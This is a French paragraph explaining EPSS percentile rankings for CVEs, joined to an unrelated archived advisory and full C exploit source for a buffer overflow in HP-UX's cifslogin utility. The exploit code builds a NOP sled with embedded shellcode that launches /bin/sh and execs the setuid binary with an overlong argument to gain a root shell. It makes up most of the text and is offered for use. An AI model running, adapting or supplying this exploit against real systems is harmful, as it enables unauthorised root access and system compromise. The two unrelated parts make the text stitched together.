Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/5088/info A vulnerability has been reported in the /opt/cifsclient/bin/cifslogin utility distributed with CIFS/9000. The utility is prone to several buffer overflow conditions and may lead to root compromise. The vulnerability occurs due to the lack of bounds checking when accepting user input for various commandline options. Specifically, the utility fails to check for excessively long arguments to the following commandline options: '-U', '-D', '-P', '-S', '-N', and '-u'. /* Name : ex_cifslogin.c Compile : cc ex_cifslogin -o cifslogin Purpose : exploit cifslogin command for HP-UX 11.11 11.0 10.20��to get root shell Author : watercloud < safesuite@263.net, watercloud@xfocus.net > Date : 2002-11-6 Announce: Use as your own risk�� Thanks : bear < bearundertree@163.com > Tested : HPUX B11.11 */ #include<stdio.h> #define T_LEN 2304 #define BUFF_LEN 2176 #define NOP 0x0b390280 char shellcode[]= "\xe8\x3f\x1f\xfd\xb4\x23\x03\xe8\x60\x60\x3c\x61\x0b\x39\x02" "\x99\x34\x1a\x3c\x53\x0b\x43\x06\x1a\x20\x20\x08\x01\x34\x16\x03" "\xe8\xe4\x20\xe0\x08\x96\xd6\x03\xfe/bin/shA"; long addr; char buffer[T_LEN]; main() { int addr_off =800 ; int n=BUFF_LEN/4,i=0; long * ap = (long *) &buffer[BUFF_LEN]; char * sp = &buffer[BUFF_LEN-strlen(shellcode)]; long * np = (long *) buffer; addr = ((long) &addr_off + T_LEN ) & 0xffffff40 +0x40 ; for(i=0;i<n;np[i++]=NOP); memcpy(sp,shellcode,strlen(shellcode)); for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr+addr_off); printf("SP=0x%x EXP_SP=0x%x OFF=0x%x (%i)\n",(long)&addr_off & 0xffffff40,addr,addr_off); printf("Addr =0x%x NOP_LEN=%i\n",addr+addr_off,BUFF_LEN-strlen(shellcode)); printf("BUFFER_LEN=%i\n",strlen(buffer)); execl("/opt/cifsclient/bin/cifslogin","cifslogin","123",buffer,NULL); }
